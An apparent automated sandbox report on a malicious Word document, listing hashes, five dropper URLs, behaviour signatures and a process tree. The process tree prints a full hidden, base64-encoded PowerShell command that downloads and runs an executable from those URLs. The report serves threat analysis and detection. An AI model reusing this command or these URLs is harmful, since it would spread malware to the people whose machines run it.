Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 13:50

General

  • Target

    320684ec5ea1c4b75a57dd6430a55e3482db826ecbca80b18e08d3829f11a372.doc

  • Size

    197KB

  • MD5

    4d1de09a8434e90f3be81bc687406ca5

  • SHA1

    bdb7ba53e7382378938f316f0b8df56147e9bf84

  • SHA256

    320684ec5ea1c4b75a57dd6430a55e3482db826ecbca80b18e08d3829f11a372

  • SHA512

    715e7f65f293e1cfbb52611e017cb1d6d497c68c56af2bc84f348c557d910a21898258aba9269a565002912c81301611d92e3091ef99d6f0e35a2f82ca5d5a25

  • SSDEEP

    3072:a22y/GdynktGDWLS0HZWD5w8K7Nk98D7IBU4awiVQdwHch:a22k43tGiL3HJk98D7b4Z2Qq4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://salvacodina.com/wp-admin/qWYFrK/

exe.dropper

http://serviska.com/show_cat3/lKzElbNb/

exe.dropper

https://bar-ola.com/wp-admin/KIdh35kENT/

exe.dropper

http://rinani.com/wp-includes/FFkV/

exe.dropper

https://wowmotions.com/wp-admin/A8LwzwQ/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\320684ec5ea1c4b75a57dd6430a55e3482db826ecbca80b18e08d3829f11a372.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1904
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2760
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:1928
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABFAGMAawBvAGwAYgB2AHgAegBlAGoAPQAnAFIAcQBtAG4AYgBoAGMAegAnADsAJABaAHkAZwBzAHAAcQBjAG4AZABrAGgAIAA9ACAAJwAzADMAMgAnADsAJABTAHMAcwBuAGcAZwBvAGwAdQA9ACcARgBrAHkAegB5AGgAcwBhAHQAdwB3ACcAOwAkAFkAcwBmAGMAdABpAHUAbgBsAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAeQBnAHMAcABxAGMAbgBkAGsAaAArACcALgBlAHgAZQAnADsAJABNAGEAcQBpAGEAaQByAHcAbABlAHYAdABpAD0AJwBTAHEAeQBhAHAAZABrAGMAcABiAGoAdQAnADsAJABTAGMAYQB1AGUAeABvAHEAaABtAHIAeAA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBjAGwAaQBFAG4AdAA7ACQASwBrAHIAagBkAGMAYgBkAGwAeQBoAGEAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbAB2AGEAYwBvAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHEAVwBZAEYAcgBLAC8AKgBoAHQAdABwADoALwAvAHMAZQByAHYAaQBzAGsAYQAuAGMAbwBtAC8AcwBoAG8AdwBfAGMAYQB0ADMALwBsAEsAegBFAGwAYgBOAGIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGEAcgAtAG8AbABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBLAEkAZABoADMANQBrAEUATgBUAC8AKgBoAHQAdABwADoALwAvAHIAaQBuAGEAbgBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBGAEYAawBWAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBvAHcAbQBvAHQAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQQA4AEwAdwB6AHcAUQAvACcALgAiAHMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABYAGsAdwBkAHQAYgBnAHEAZgA9ACcAVQBzAHUAZwBjAGcAcABhAGEAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQARgBxAGgAcABtAGsAaABqAHAAIABpAG4AIAAkAEsAawByAGoAZABjAGIAZABsAHkAaABhACkAewB0AHIAeQB7ACQAUwBjAGEAdQBlAHgAbwBxAGgAbQByAHgALgAiAGQAYABPAFcAbgBgAGwAbwBBAGAAZABGAGkAbABlACIAKAAkAEYAcQBoAHAAbQBrAGgAagBwACwAIAAkAFkAcwBmAGMAdABpAHUAbgBsAHoAKQA7ACQAVwB6AHYAYgB4AGEAZwBxAG8AagBvAG4AdQA9ACcATwBmAGwAYwBrAG4AbwB1AGwAcQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWQBzAGYAYwB0AGkAdQBuAGwAegApAC4AIgBsAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABZAHMAZgBjAHQAaQB1AG4AbAB6ACkAOwAkAFUAZwBhAHUAbQBhAGQAeQBhAGkAcAB6AD0AJwBLAGUAZwBtAGMAcgBhAHUAcABmAHMAagBoACcAOwBiAHIAZQBhAGsAOwAkAEsAYgBuAGwAeAB1AGQAbgB0AGgAPQAnAFEAZgBkAG0AbAB0AHEAawBoAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABzAHoAcQB2AGMAYwBzAHkAbgA9ACcAQgBvAHcAZABnAHEAbQBlAGMAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1176

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FCFCC6EC.wmf

      Filesize

      444B

      MD5

      bf18e65d3c7be7acad6ea54a2e30b106

      SHA1

      ec6e9a3f3b6adeaa200033d208fa939b15b4eea0

      SHA256

      f21452f0bb603c12ead108afe4a5ec75ad0291b5bad233a852a6c09e85762fe4

      SHA512

      c7d0a6bb67d2536ab42e91b16842705ed9cc16cce5f7f77bd828fcac596f031ff134265257ca90015fd646a95204cc4c5027cfb9758a0425bec312f112b15e2a

    • memory/580-26-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-40-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-5-0x0000000006360000-0x0000000006460000-memory.dmp

      Filesize

      1024KB

    • memory/580-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/580-13-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-15-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-14-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-16-0x0000000007030000-0x0000000007031000-memory.dmp

      Filesize

      4KB

    • memory/580-43-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-19-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-25-0x0000000006610000-0x0000000006710000-memory.dmp

      Filesize

      1024KB

    • memory/580-0-0x000000002F0E1000-0x000000002F0E2000-memory.dmp

      Filesize

      4KB

    • memory/580-2-0x000000007120D000-0x0000000071218000-memory.dmp

      Filesize

      44KB

    • memory/580-21-0x0000000006610000-0x0000000006710000-memory.dmp

      Filesize

      1024KB

    • memory/580-23-0x0000000006610000-0x0000000006710000-memory.dmp

      Filesize

      1024KB

    • memory/580-20-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/580-27-0x0000000006610000-0x0000000006710000-memory.dmp

      Filesize

      1024KB

    • memory/580-29-0x0000000006610000-0x0000000006710000-memory.dmp

      Filesize

      1024KB

    • memory/580-42-0x0000000006610000-0x0000000006710000-memory.dmp

      Filesize

      1024KB

    • memory/580-41-0x0000000007030000-0x0000000007031000-memory.dmp

      Filesize

      4KB

    • memory/580-39-0x000000007120D000-0x0000000071218000-memory.dmp

      Filesize

      44KB

    • memory/580-22-0x0000000006610000-0x0000000006710000-memory.dmp

      Filesize

      1024KB

    • memory/1176-36-0x0000000002800000-0x0000000002808000-memory.dmp

      Filesize

      32KB

    • memory/1176-35-0x000000001B590000-0x000000001B872000-memory.dmp

      Filesize

      2.9MB

    • memory/2760-17-0x00000000002C0000-0x00000000002C1000-memory.dmp

      Filesize

      4KB